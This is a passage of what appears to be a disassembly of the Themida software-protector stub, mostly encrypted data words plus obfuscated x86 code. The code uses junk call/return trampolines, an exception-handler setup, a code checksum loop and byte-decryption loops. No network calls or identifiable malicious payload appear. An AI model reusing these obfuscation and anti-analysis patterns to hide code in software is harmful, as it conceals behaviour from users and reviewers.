6A0617A7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0CE5FC352h, 32ECD508h, 81AC1283h, 2D1614D3h, 0E8DE8B76h dd 4, 1F03FFh, 0E850F98Bh, 0Fh, 0AA73342Bh, 8133C872h dd 3C47FD35h, 0BBB68668h, 5408F49Eh, 24448B5Bh, 0E434BF04h dd 8B6A13h, 0ECB86660h, 448961CBh, 6A580424h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 4053C353h, 9B64C947h, 0BB1A2F4Ah, 3ACAF404h, 1821BD31h dd 858D0614h, 617A7EAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FC35747h, 23C0EDB5h, 8185A177h, 0A73D7EEFh dd 8E0F9028h, 4, 0FE34BB66h, 0BE86050h, 0A3000000h, 0DAD80D83h dd 0FE940BE6h, 5250FCC4h, 585A310Fh, 106DBE5Eh, 90614871h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 66C35141h dd 0B9BD8BB6h, 0FC061419h, 89D95FFh, 6A0614h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 61E698C3h dd 0C7FFB70Fh, 14013D85h, 306h, 0EB816600h, 0BE95130h dd 3E000000h, 0B4A0F488h, 15E0DE1h, 0BD831568h, 617A7EAh dd 5E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5048C355h, 71CB0BFBh dd 0F895C9A6h, 4FE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0F2442EE4h, 9AD5C681h dd 0BE9DAh, 1E640000h, 352F2BA3h, 7E9DE03Bh, 0C30505Dh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B1C35141h, 0D1DE7FB5h dd 664D6739h, 12E8F88Bh, 8F000000h, 0B1F8BD0h, 0CF9D635Fh dd 4390C8A9h, 68DFEC50h, 0BD835BD3h, 614013Dh, 0AC850F03h dd 6A000003h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 88F9C352h, 8928C3A9h, 142C6995h dd 0B59D0306h, 83061419h, 17A7EABDh, 840F0006h, 373h, 0A7EAB5FFh dd 0DABF0617h, 0FF393C14h, 14033995h, 59B58906h, 8B061410h dd 17A7DEB5h, 459D8B06h, 0C706141Fh, 1000106h, 4830F00h dd 66000000h, 963CF0BBh, 11E8h, 94835C00h, 9D157556h, 0C30A7F81h dd 2C4C9543h, 6051E221h, 505B5F61h, 6A966160h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0A035C357h, 3BC1E96Fh, 0FFDA8B9Ch, 17A7EAB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0C872AA73h, 199D0133h, 0F06141Ah, 8B66DABFh, 8195FFD8h dd 52061410h, 0B58B5BF9h, 617A7DEh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 27C35646h, 66CAABDAh, 858BF98Bh dd 6140FF9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0A7C35242h, 4CAD028h, 0E50B9D47h, 8090EB81h, 868914F0h dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0CEC35747h, 0F7CE145Dh, 2B69958Bh, 0BD890614h dd 6140CF5h, 0F04C283h, 1583h, 0AE800h, 0F25A0000h, 0D5F819C7h dd 0F15CEA5Ch, 77622BBh, 50895F31h, 57006A20h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 141D9115h dd 2608290Eh, 8DFA8B66h, 17BC2385h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 1D438B54h dd 0B3AA3A1Eh, 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D6047BC3h, 0DEE026F4h dd 1830FCCh, 0FC000000h, 0F60006Ah, 0FF61FAB7h, 17A7EAB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 1142F860h, 95FF6362h, 61433ADh, 9E8h, 0B98AC00h dd 7FE40B16h, 8B665D77h dd 8B965BFAh, 8D0F50D9h, 0Fh, 0AE9h, 657F6200h, 3F70009Eh dd 968F3B4Ah, 0B5FFA6B3h, 617A7EAh, 6E9h, 4D7E0D00h, 0FF08153Eh dd 14230995h, 45DF8106h, 832F8A49h, 141189BDh, 840F0006h dd 54h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 0DCC35242h, 5722A560h, 0B652BB66h, 6057965Bh, 8E8C18Bh dd 91000000h, 531623h, 5ACC1CDFh, 56505F61h, 965FFA8Ah dd 68C0F60h, 29000000h, 140B258Dh, 41858B06h, 61061418h dd 0A7EAB5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 8496ACC3h, 0D5A6953Dh, 0B589967Ah dd 614134Dh, 2D595FFh, 860F0614h, 1, 0E78060FCh, 0FF61FC38h dd 17A7EAB5h, 8B0F06h, 0FF000000h, 140B7595h, 0BBF6606h dd 119529D7h, 8306142Bh, 14112DBDh, 840F0206h, 3Fh, 0B2A88CBFh dd 55858B09h, 6A061400h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0B7BBC352h, 0C6A4h dd 9E8h, 1C7EFA00h, 0E666BD3Dh, 0BF66CA4Fh, 0C75B4072h dd 141E4985h, 6, 0E974B300h, 0FFFFF2F3h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0CEC35343h, 0A9FF9FC8h dd 0E7816698h, 0C18B7C36h, 0EE8h, 9C5DC600h, 6BC764F5h dd 49701A38h, 896FC8BEh, 140899BDh, 20E95B06h, 11000000h dd 54E44Dh, 6 dup(0) dd 0E9000000h, 540h, 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h dd 1FE39EADh, 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h dd 0E75A37FBh, 0E82E8B46h, 0C1CB0855h, 0DFD6F48Bh, 9848655h dd 225F6EF1h, 4C3F41DEh, 0D35CCF3Ch, 53F09260h, 2A6364E3h dd 8092B612h, 0CAC2B9CBh, 0E11994B5h, 64A3CAA5h, 78E72B62h dd 0E19CAA4Ch, 91BFCEFDh, 0CF58181Ah, 0AFB0C8C3h, 80B3FCA2h dd 353F092h, 64E31B3Fh, 232F5EB5h, 47E05368h, 53F092F4h dd 49090B0Fh, 0EB66C732h, 0C353F092h, 97FBCFC6h, 0C1BCCE9Dh dd 92D668C9h, 0D8EB53F0h, 0FD0D8081h, 583C736Bh, 3B5FF286h dd 3994A700h, 2B2F53F0h, 0EFEB02E9h, 85953741h, 8C5Dh dd 65675B00h, 9AA70636h, 9953F092h, 0FD8C9FF6h, 0BE42D0CBh dd 85948C70h, 1E8DBFCEh, 1307DEEh, 82AC0F66h, 0EF989ABEh dd 1, 376667C5h, 0B14D4C04h, 0E52B44ECh, 0BFC09F2Fh, 0E542BDCEh dd 53F06056h, 91BE69EDh, 9260E414h, 0B63F4D12h, 1826F08Fh dd 95A5C914h, 0CBC3BECAh, 0E31B92B4h, 99A1C8A7h, 94B3DAB5h dd 69F63A73h, 4114D657h, 15A9B3Fh, 16728A05h, 314ACEF2h dd 0FFEA59C6h, 176953F0h, 71F1BAC4h, 0F63C20D9h, 41188B0Ch dd 0D93D4D40h, 0F092A190h, 0D45E2253h, 65950807h, 255877F6h dd 0CA79A615h, 4953F092h, 3E4FA1C5h, 3CBE17ADh, 4F702FE5h dd 315E2D5Eh, 32C04474h, 0A1DCED72h, 0FEBBD6A9h, 94FB18CEh dd 749B388Eh, 0B77B3655h, 0A1951628h, 2B180AE2h, 522D5D41h dd 0D6417A37h, 0C545EE9Eh, 98A157F6h, 53F0ACA9h, 0D0EC262Ah dd 6F6B824Dh, 8594C8D1h, 6CCDh, 6867EB00h, 0DE960535h dd 0BFCD3C61h, 0DE50B4C4h, 74BE6A19h, 0D9F1ACA7h, 42760EBDh dd 7504F18Dh, 4E3F40DFh, 0B358DA3Eh, 631E2D5Ch, 8C01009Fh dd 0AEE5E37Ch, 0ADC4039Eh, 95268FADh, 420F85h, 67A50000h dd 7126C768h, 9A8C0906h, 9A1B12DFh, 53F0EBAFh, 183C2024h dd 38739FE0h, 0D43B5400h, 171B96B5h, 54EAE564h, 0DB597D38h dd 37666751h, 92A4A607h, 0F69953F0h, 8C8D539Fh, 1298594h dd 87000000h, 1A316C67h, 3C4C4743h, 156A5AD8h, 780B8F3h dd 8782C128h, 6F7E060Ah, 545E219h, 0FE49DC62h, 86F1629Ah dd 0E4822A19h, 7AA5A955h, 0A226564Bh, 1289BB50h, 3C6F910Eh dd 832C9F0Ch, 55E482B0h, 0C8C54F33h, 55E48277h, 4D7C0378h dd 0D63DC250h, 0D5E695B7h, 820E3D7Ah, 738555E4h, 980B4922h dd 7CABCF77h, 0DE3A524Bh, 1039C54h, 0DBED728Ah, 0D7EA8A0h dd 0DD57527Eh, 0E944D73Eh, 0E49CFD4Ch, 127655h, 0BE42394Bh dd 0A89ACC12h, 38532A8Bh, 52E14E7Dh, 0D155E490h, 27C4A76Dh dd 69000001h, 3F1F9E1Bh, 2DE788B0h, 0D7F48B2Bh, 816054DEh dd 92F043ECh, 0F47353F0h, 28ACDCD9h, 4AEBE004h, 49DC90CCh dd 56292125h, 8858234h, 0C66794F0h, 55E4900Bh, 9C608488h dd 728A0103h, 0A8A0DBEDh, 15920D7Eh, 55E49026h, 0B45BD9BDh dd 611C2E5Dh, 8EEB319Dh, 528B8BA8h, 98000000h, 0B3CBC6C1h dd 805BDD57h, 9DEC1F65h, 0BF1B336Eh, 3EED4A75h, 72D3F092h dd 6DABA607h, 24282C0Fh, 4A19AEEh, 2C0F6D35h, 96A6CA4Eh dd 0F6D2417h, 254C132Ch, 2E8FE401h, 2C0F6D13h, 7388AC90h dd 0F6D6732h, 6463FCACh, 2B010529h, 7Ah, 1B618041h, 192875E0h dd 9A53F092h, 0E2437CB6h, 49DC6A20h, 0EB4675D9h, 0E49AFF4Ah dd 0FDB0DF55h, 117549CDh, 0BBE20A1Fh, 30C2969Bh, 0A2D9EB74h dd 0CCBFC15Eh, 6FC37DBCh, 8FC855E4h, 99B6B568h, 4779161Ch dd 29582754h, 8AFABE74h, 83FE0D7Bh, 0FE51ADF5h, 0A46EA6A9h dd 0CD0EDF29h, 0FC0B544Fh, 126D9D81h, 494446F0h, 43B21525h dd 9DEBFA2Ch, 52B7C16Eh, 0C84C45F4h, 61808E44h, 3147E01Bh dd 0CA49D9DFh, 17293646h, 507A064h, 7FF56696h, 96B32B89h dd 0B56BEF1Fh, 66AC1B4Dh, 0ED9D8477h, 49A00F80h, 77697D6h dd 712C5E0Dh, 9D1032ADh, 0B9F4126Dh, 41F8F282h, 0D3D00453h dd 33E26541h, 0E09BADDCh, 0F1106F1Ch, 0A088CBCh, 40783355h dd 0E95F85D3h, 3274E90Ch, 366E0h, 8C8C0000h, 346767A6h dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh dd 178EBCC3h, 306D98E7h, 57464718h, 89571F27h, 4C781E7h dd 83000000h, 0FF5704EFh, 5F042474h, 5C24048Fh, 5E08950h dd 4, 42Dh, 24048700h, 240C895Ch, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 57241C89h, 18BC6CBFh, 34815706h, 630B4224h dd 0F1815958h, 58630B42h, 4EC815Fh, 89000000h, 4832424h dd 835B0424h, 0C8904ECh, 242C8124h, 1E774D4Ch, 8108438Fh dd 4D4C0843h, 1C8B1E77h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 592434FFh, 4C481h, 3DE90000h, 4FFFBBFh dd 0A996795h, 0A7A149DDh, 18C106B8h, 0FFC50306h, 2CC5D7E0h dd 0E2346A33h, 6EC1F609h, 32267D32h, 0CD28B83Ah, 0EFF9E4Ah dd 0E32E7D26h, 0B340D01Bh, 91858D32h, 6A061407h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D238C350h, 8C9155BFh, 0BB669061h, 0E85078D0h, 9, 0D72CBA0Ah dd 7E7D34DDh, 5FF88B3Dh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD8B5DEEh, 6142A79h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 21109FC3h, 0E9006ADEh, 0Dh, 44CCDB8Eh, 0F9FA91E8h dd 84417B8Ch, 94858D66h, 0B30618C3h, 5C08317h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EAC35141h, 62DC519h dd 75BD8BB3h, 90061409h, 830F6053h, 0 ; --------------------------------------------------------------------------- popa pop ebx push eax mov edi, ebx nop cld push 0 jmp loc_5C9E62 ; --------------------------------------------------------------------------- clc xchg eax, edi push eax jo short locret_5C9EC6 cmp ebp, esp pop ecx daa test bh, ah dec ecx retn 0D0C6h ; --------------------------------------------------------------------------- clc loc_5C9E62: ; CODE XREF: Themida_:005C9E4Dj push 0 push 0 push ecx call sub_5C9E6F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9E6F proc near ; CODE XREF: Themida_:005C9E67p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C9E6F endp ; --------------------------------------------------------------------------- test al, 52h pusha mov ecx, [ebp+6142355h] popa call dword ptr [ebp+6141B19h] push 0 push edx call sub_5C9E9A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9E9A proc near ; CODE XREF: Themida_:005C9E92p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C9E9A endp ; --------------------------------------------------------------------------- dw 0B0Fh dd 0F48E5BEFh, 49FA819Eh, 10E960h, 0F3F90000h, 528C9AAFh dd 5633A7F7h ; --------------------------------------------------------------------------- mov dh, [ebx] locret_5C9EC6: ; CODE XREF: Themida_:005C9E55j retf ; --------------------------------------------------------------------------- fxch st(7) xor eax, 0C0D7F3BAh pop esp popa mov bl, ah lea ecx, [ebp+617A778h] mov [ebp+6140AE1h], ecx call ecx add [ebp+6143165h], eax cmp dword ptr [ebp+61401CDh], 1 jnz loc_5C9F30 jmp loc_5C9F03 ; --------------------------------------------------------------------------- dd 853C12F3h, 8EC48009h db 4Fh, 0E2h, 0D0h ; --------------------------------------------------------------------------- loc_5C9F03: ; CODE XREF: Themida_:005C9EF3j push 2 xor di, 0F5DBh mov edi, [ebp+6140C19h] push eax mov [esp], eax call near ptr sub_5C9F23 in eax, 0BDh ; Interrupt Controller #2, 8259A push ds pop edx mov ebp, 0D96520ADh xchg eax, ecx ; =============== S U B R O U T I N E ======================================= sub_5C9F23 proc far ; CODE XREF: Themida_:005C9F14p var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 mov ebx, [ebp+61425F1h] pop edi call dword ptr [ebp+61433ADh] loc_5C9F30: ; CODE XREF: Themida_:005C9EEDj jmp loc_5CAD87 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 618C39Eh jmp loc_5C9F54 ; --------------------------------------------------------------------------- dw 3C8Fh dd 0FF550410h, 0F0854D4Fh, 0B9C752BCh ; --------------------------------------------------------------------------- loc_5C9F54: ; CODE XREF: sub_5C9F23+1Ej push 0 push ecx call loc_5C9F5F and [ecx-3Dh], bl loc_5C9F5F: ; CODE XREF: sub_5C9F23+34p pop ecx mov [esp+4], ecx add dword ptr [esp+4], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- lodsb lodsb shr byte ptr [esi-76D6D051h], 1 mov ch, 0D1h and [esi+eax], dl lea eax, [ebp+6178E49h] mov ebx, 7B4515D9h nop push esi mov ebx, 7DC62CFCh pop edi push eax mov ebx, 2695410Bh nop push 0 push ebx call loc_5C9FA1 and [ebx-3Dh], bl loc_5C9FA1: ; CODE XREF: sub_5C9F23+76p pop ebx mov [esp+0Ch+var_8], ebx add [esp+0Ch+var_8], 15h inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0E3h, 95h, 23h ; --------------------------------------------------------------------------- popf inc ecx adc [esi+eax], dl mov [ebp+61408A1h], esi push large dword ptr fs:0 mov bl, 4Ch mov large fs:0, esp inc dword ptr [ebp+6142DEDh] push 0 push ecx call loc_5C9FE0 and [ecx-3Dh], bl loc_5C9FE0: ; CODE XREF: sub_5C9F23+B5p pop ecx mov [esp+14h+var_10], ecx add [esp+14h+var_10], 18h inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 0F68D9E48h, 0CE80603Eh, 7E907h, 0CDE70000h, 0E711415Eh dd 81666102h, 6A871BC7h, 1DB5FFFFh, 6A06140Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0EC87C357h, 0DE26BAC4h, 8995FFBAh, 0E906142Ah, 12Ch dd 0A6ABF66h, 9D3100B0h, 6140F8Dh, 0BD0370E6h, 6140515h dd 0E4FABF0Fh, 0BE871h, 0AC880000h, 52735C8Ch, 5118F04h dd 0EB81665Bh, 3C5B4839h, 0F5830F61h, 29000000h, 142B39BDh dd 0C8B60F06h, 0CAE8BF66h, 6BAh, 1D853100h, 8B061418h dd 4E8C1C1h, 0B436EF81h, 0F76676F9h, 7E9E2h, 0E1B30000h dd 0DF9FE8D2h, 8BC82B65h, 69BD8BD1h, 0F061404h, 483h, 46BF6600h dd 0AAE9E4h, 890F0000h, 11h, 0AE952h, 96520000h, 227F7D2h dd 0C1164CFh, 8858B5Fh, 66000000h, 83E5C5BBh, 9D0307C0h dd 614049Dh, 100C083h, 142D3195h, 35BD8B06h, 3B061412h dd 2A830FD0h, 0E9000000h, 0Eh, 8264EA14h, 0C5FCEACh, 9AF7EF57h dd 51E9C184h, 0E8000000h, 9, 88356A34h, 8EDA70B5h, 0D88B6605h dd 0FF8D8B5Fh, 0E9FFFFFFh, 0Bh, 0FFF222B7h, 0FB213702h dd 83AE268Ah, 840F01E1h, 20h, 0B58589FCh, 83061417h, 0FFFFFFA5h dd 9D2BFEFFh, 61402FDh, 89589h, 0E9F80000h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+618370Dh] mov ebx, eax push 0 push 0 push edx call loc_5CA181 and [edx-3Dh], bl loc_5CA181: ; CODE XREF: sub_5C9F23+256p pop edx mov [esp+20h+var_1C], edx add [esp+20h+var_1C], 17h inc edx push edx retn ; --------------------------------------------------------------------------- push esp wait pop edx or [edi], cl mov bh, 0FEh jmp loc_5CA1B1 ; --------------------------------------------------------------------------- db 0ECh, 0FCh, 91h ; --------------------------------------------------------------------------- xchg bl, [ebp-24h] pushf dec edx sbb ch, [edx] inc esp db 3Eh dec esi or cl, ah inc ebp mov al, 55h adc edx, eax loc_5CA1B1: ; CODE XREF: sub_5C9F23+275j call dword ptr [ebp+6142971h] push 0 push edi call loc_5CA1C2 and [edi-3Dh], bl loc_5CA1C2: ; CODE XREF: sub_5C9F23+297p pop edi mov [esp+4], edi add dword ptr [esp+4], 17h inc edi push edi retn ; --------------------------------------------------------------------------- movsd popa retn 0E86Eh ; --------------------------------------------------------------------------- db 12h dd 0AD000000h, 8BA8D650h, 80596457h, 0BFDD38F4h, 0E801DE6Fh dd 5BD98BE4h, 7D75BF66h, 0FE5B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 38156E4Fh dd 0E99D8B94h, 83061422h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 9D0316C3h, 6142FF5h dd 9A9BD0Bh, 0F9FC0614h, 2BFA8B66h, 79BD29C0h, 0BA06142Dh dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call loc_5CA267 and [ebp-3Dh], bl loc_5CA267: ; CODE XREF: sub_5C9F23+33Cp pop ebp mov [esp+14h+var_10], ebp add [esp+14h+var_10], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- mov fs, cx daa fmul qword ptr [esi+58h] mov dl, 57h jmp loc_5CA297 ; --------------------------------------------------------------------------- dd 80DFD4D9h, 0A1ED3C3Ah, 0C2842DE3h, 27654EF3h ; --------------------------------------------------------------------------- inc eax retf ; --------------------------------------------------------------------------- db 14h ; --------------------------------------------------------------------------- loc_5CA297: ; CODE XREF: sub_5C9F23+35Cj pop edi loc_5CA298: ; CODE XREF: sub_5C9F23+37Fj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CA298 jmp loc_5CA2BD ; --------------------------------------------------------------------------- sar bl, 1 mov ebx, [eax+0CCA68A0h] ror byte ptr [esi+4], 1 sti dec edi mov [esi+ebp*8+72C64472h], eax loc_5CA2BD: ; CODE XREF: sub_5C9F23+381j mov [ebp+6140999h], edx or eax, 88h push 0 push esi call loc_5CA2D3 and [esi-3Dh], bl loc_5CA2D3: ; CODE XREF: sub_5C9F23+3A8p pop esi mov [esp+18h+var_14], esi add [esp+18h+var_14], 16h inc esi push esi retn ; --------------------------------------------------------------------------- push 3 push ebp jmp loc_5CA2F1 ; --------------------------------------------------------------------------- db 0FFh dd 72970A7Bh db 13h ; --------------------------------------------------------------------------- loc_5CA2F1: ; CODE XREF: sub_5C9F23+3C3j mov edx, [ebp+6142B69h] pusha mov eax, edi and bl, 75h popa mov ebx, 489D9460h mov ecx, [ebp+6141055h] sub [ebp+6140C35h], edi push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax mov edi, [ebp+6141371h] jmp loc_5CA338 ; --------------------------------------------------------------------------- dd 0D11BBF69h, 4DF6FACCh, 0BC8FA46h ; --------------------------------------------------------------------------- loc_5CA338: ; CODE XREF: sub_5C9F23+404j cmp dword ptr [ebp+6140F4Dh], 0 jz loc_5CA380 mov [ebp+6141C39h], ebx mov eax, 0 or [ebp+6142A79h], edx lea ecx, [ebp+6144DFFh] push 0 push ecx call loc_5CA367 and [ecx-3Dh], bl loc_5CA367: ; CODE XREF: sub_5C9F23+43Cp pop ecx mov [esp+28h+var_24], ecx add [esp+28h+var_24], 17h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 0A2h ; --------------------------------------------------------------------------- pop edi xor [ebp-69F1E01h], bh popa loc_5CA380: ; CODE XREF: sub_5C9F23+41Cj cmp dword ptr [ebp+614013Dh], 0 jz loc_5CA861 sub [ebp+6140E05h], ecx cmp dword ptr [ebp+614013Dh], 1 jz loc_5CA87C push 0 push eax call loc_5CA3AB and [eax-3Dh], bl loc_5CA3AB: ; CODE XREF: sub_5C9F23+480p pop eax mov [esp+0Ch+var_8], eax add [esp+0Ch+var_8], 19h inc eax push eax retn ; --------------------------------------------------------------------------- db 0FAh dd 0D1EBB09Bh, 3DBD83BCh, 3061401h, 478860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 1FC238C3h, 60465E38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 69C35545h, 0FB8B13A0h, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 7FC4C351h, 8EDB4017h, 0F2E84F74h, 0EE8h, 47783D00h dd 0E19FEA71h, 0F8092D86h, 0E847CAA5h, 0Dh, 0D32B87B3h dd 7C5DE694h, 0BA20DCA1h, 35BD8B8Ah, 5B06140Dh, 4E1805Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AEC35545h dd 79FBEEFFh, 0FC90AFCh, 11B84h, 858BF500h, 6140E35h, 8533F98Bh dd 61406A9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 11C35141h, 0A21E157Ch, 0C2CAFEA2h, 0BB666050h dd 0BE87620h, 4E000000h, 0AF0DB892h, 0D4845D4h, 615A5FBFh dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 9D62C355h, 58BD2778h, 8509006Ah dd 6140EB1h, 6939BF68h, 0DF8B66A8h, 40240481h, 6A57B5CAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0DA48C353h, 0E6126DF6h, 605ADC73h, 130D9D89h dd 0B8660614h, 896167EAh, 1433D585h, 9D95FF06h, 6A061408h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 9F7CC351h, 2E5D7803h, 33B9BD8Bh, 85890614h dd 617A7EAh, 11E9DA8Bh, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C948C355h dd 954DDFB7h, 0EF9CEFB6h, 0A7E2858Bh, 6E80617h, 84000000h dd 678E8C96h, 0FE85108h, 76000000h, 63E4C1Fh, 43E54B0Eh dd 0A180CC57h, 5B5F32B8h, 1800C75Fh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 39F8C351h, 0C29CD4A8h, 6E952h, 32660000h, 0E1C7CA25h dd 0E6B58B5Fh, 6A0617A7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 5612C353h, 0BD09902Bh dd 6140D4Dh, 281858Bh, 9D010614h, 6140955h, 6A0689h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 53849CC3h, 2BDF8166h, 35858B32h, 0BF06140Eh, 328C7AF4h dd 6A044689h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0DE66C355h, 5295417Ah, 1DBCB146h dd 2960FE8Bh, 1409C5B5h, 0DE906h, 84450000h, 8795A41Ah dd 8291402Dh, 61B2A3D7h, 0DFD1BF96h, 50501935h, 7E852h dd 27ED0000h, 4972E558h, 5B5F50A8h, 50BF310Fh, 5A4DC64Ch dd 0EB819658h, 1DE4C46Bh, 0A7E2B5FFh, 6A0617h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 38F886C3h, 0B70F29E1h, 4850FF8h, 66000000h, 68008EBFh dd 6CB7823Ah, 68C0Fh, 8B0F0000h, 0 ; --------------------------------------------------------------------------- xor [esp+10h+var_10], 6CA881C5h push 0 push ebp call loc_5CA732 and [ebp-3Dh], bl loc_5CA732: ; CODE XREF: sub_5C9F23+807p pop ebp mov [esp+14h+var_10], ebp add [esp+14h+var_10], 17h inc ebp push ebp retn ; --------------------------------------------------------------------------- dw 6231h dd 890F6A43h, 6, 9CDBD8Bh, 858D0614h, 617A7EAh, 1C0D9D8Bh dd 0F7810614h, 613F3E40h, 202CBF50h, 4897287h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BE91D04h, 142FC99Dh, 9D95FF06h, 0F8061408h, 50006A61h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0F0DDFB02h, 13E91064h, 3F000000h, 46FABCD8h, 6AFBC1A9h dd 0D4A3E132h, 8A58629h, 85C79DF2h, 614013Dh, 3, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BDC35343h, 54664B11h dd 2FDD9589h, 0BD830614h, 617A7EAh, 37840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 648AC356h, 1115D122h, 0EADD4553h, 62A0BB66h dd 211BD8Bh, 1EE90614h, 0F000000h, 3050FFB7h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h db 36h ; --------------------------------------------------------------------------- loc_5CA861: ; CODE XREF: sub_5C9F23+464j ; sub_5C9F23+955j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CA861 jmp short loc_5CA897 ; --------------------------------------------------------------------------- loc_5CA87C: ; CODE XREF: sub_5C9F23+477j ; sub_5C9F23+970j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CA87C jmp short $+2 loc_5CA897: ; CODE XREF: sub_5C9F23+957j mov eax, eax push 0 push esi call loc_5CA8A4 and [esi-3Dh], bl loc_5CA8A4: ; CODE XREF: sub_5C9F23+979p pop esi mov [esp+0Ch+var_8], esi add [esp+0Ch+var_8], 15h inc esi push esi retn ; --------------------------------------------------------------------------- and al, 0ABh push 0 push esi call loc_5CA8C1 and [esi-3Dh], bl loc_5CA8C1: ; CODE XREF: sub_5C9F23+996p pop esi mov [esp+14h+var_10], esi add [esp+14h+var_10], 14h inc esi push esi retn ; 